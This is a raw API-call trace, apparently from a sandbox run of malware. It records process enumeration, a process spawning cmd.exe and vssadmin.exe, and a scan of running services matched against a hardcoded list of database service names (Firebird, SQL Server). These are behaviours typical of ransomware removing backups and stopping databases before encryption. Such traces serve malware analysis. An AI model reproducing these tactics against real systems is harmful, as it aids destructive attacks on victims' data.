	[0102.644] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0102.645] lstrlenW (lpString="svchost.exe") returned 11
	[0102.645] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0102.645] lstrlenW (lpString="taskeng.exe") returned 11
	[0102.645] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0102.646] lstrlenW (lpString="taskhost.exe") returned 12
	[0102.646] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0102.647] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0102.647] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0102.647] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0102.647] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0102.648] lstrlenW (lpString="zoo.exe") returned 7
	[0102.648] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0102.649] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0102.649] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0102.650] lstrlenW (lpString="determined.exe") returned 14
	[0102.650] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0102.650] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0102.650] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0102.651] lstrlenW (lpString="hansen mails.exe") returned 16
	[0102.651] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0102.652] lstrlenW (lpString="choirsas.exe") returned 12
	[0102.652] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0102.653] lstrlenW (lpString="skirt_races.exe") returned 15
	[0102.653] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0102.711] lstrlenW (lpString="actors_radius.exe") returned 17
	[0102.711] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0102.712] lstrlenW (lpString="scheduling.exe") returned 14
	[0102.712] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0102.713] lstrlenW (lpString="michael.exe") returned 11
	[0102.713] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0102.714] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0102.714] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0102.715] lstrlenW (lpString="pleasure.exe") returned 12
	[0102.715] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0102.716] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0102.716] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0102.716] lstrlenW (lpString="electron.exe") returned 12
	[0102.717] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0102.717] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0102.717] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0102.718] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0102.718] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0102.719] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0102.719] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0102.720] lstrlenW (lpString="pointer.exe") returned 11
	[0102.720] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0102.721] lstrlenW (lpString="gd logos.exe") returned 12
	[0102.721] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0102.722] lstrlenW (lpString="algebra validity.exe") returned 20
	[0102.722] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0102.723] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0102.723] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0102.723] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0102.723] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0102.724] lstrlenW (lpString="p.exe") returned 5
	[0102.724] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0102.725] lstrlenW (lpString="cmd.exe") returned 7
	[0102.725] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0102.726] lstrlenW (lpString="conhost.exe") returned 11
	[0102.726] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0102.727] lstrlenW (lpString="vssadmin.exe") returned 12
	[0102.727] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0102.728] lstrlenW (lpString="VSSVC.exe") returned 9
	[0102.728] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0102.729] lstrlenW (lpString="svchost.exe") returned 11
	[0102.729] Process32NextW (in: hSnapshot=0x1f8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0102.730] CloseHandle (hObject=0x1f8) returned 1
	[0102.730] Sleep (dwMilliseconds=0x1f4) 
	[0103.241] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0b00
	[0103.241] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0103.242] GetLastError () returned 0xea
	[0103.242] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12c6) returned 0x36ba4f0
	[0103.242] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ba4f0, cbBufSize=0x12c6, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ba4f0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0103.242] CloseServiceHandle (hSCObject=0x35d0b00) returned 1
	[0103.242] lstrlenW (lpString="Appinfo") returned 7
	[0103.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0103.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0103.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0103.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0103.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0103.243] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0103.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0103.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0103.243] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0103.243] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0103.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0103.243] lstrlenW (lpString="AudioSrv") returned 8
	[0103.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0103.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0103.243] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0103.243] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0103.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0103.243] lstrlenW (lpString="BFE") returned 3
	[0103.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0103.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0103.243] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0103.243] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0103.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0103.243] lstrlenW (lpString="CryptSvc") returned 8
	[0103.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0103.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0103.243] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0103.243] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0103.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0103.244] lstrlenW (lpString="CscService") returned 10
	[0103.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0103.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0103.244] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0103.244] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0103.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0103.244] lstrlenW (lpString="DcomLaunch") returned 10
	[0103.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0103.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0103.244] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0103.244] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0103.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0103.244] lstrlenW (lpString="Dhcp") returned 4
	[0103.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0103.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0103.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0103.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0103.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0103.244] lstrlenW (lpString="Dnscache") returned 8
	[0103.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0103.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0103.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0103.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0103.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0103.244] lstrlenW (lpString="DPS") returned 3
	[0103.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0103.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0103.244] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0103.244] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0103.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0103.245] lstrlenW (lpString="eventlog") returned 8
	[0103.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0103.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0103.245] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0103.245] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0103.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0103.245] lstrlenW (lpString="EventSystem") returned 11
	[0103.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0103.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0103.245] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0103.245] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0103.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0103.245] lstrlenW (lpString="gpsvc") returned 5
	[0103.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0103.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0103.245] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0103.245] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0103.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0103.245] lstrlenW (lpString="iphlpsvc") returned 8
	[0103.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0103.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0103.245] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0103.245] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0103.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0103.245] lstrlenW (lpString="LanmanServer") returned 12
	[0103.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0103.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0103.245] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0103.246] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0103.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0103.246] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0103.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0103.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0103.246] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0103.246] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0103.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0103.246] lstrlenW (lpString="lmhosts") returned 7
	[0103.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0103.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0103.246] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0103.246] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0103.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0103.246] lstrlenW (lpString="MMCSS") returned 5
	[0103.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0103.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0103.246] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0103.246] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0103.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0103.246] lstrlenW (lpString="MpsSvc") returned 6
	[0103.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0103.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0103.246] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0103.246] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0103.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0103.246] lstrlenW (lpString="Netman") returned 6
	[0103.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0103.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0103.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0103.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0103.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0103.247] lstrlenW (lpString="netprofm") returned 8
	[0103.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0103.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0103.247] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0103.247] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0103.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0103.247] lstrlenW (lpString="NlaSvc") returned 6
	[0103.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0103.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0103.247] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0103.247] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0103.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0103.247] lstrlenW (lpString="nsi") returned 3
	[0103.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0103.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0103.247] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0103.247] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0103.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0103.247] lstrlenW (lpString="PcaSvc") returned 6
	[0103.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0103.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0103.247] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0103.247] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0103.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0103.247] lstrlenW (lpString="PlugPlay") returned 8
	[0103.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0103.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0103.248] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0103.248] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0103.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0103.248] lstrlenW (lpString="Power") returned 5
	[0103.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0103.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0103.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0103.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0103.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
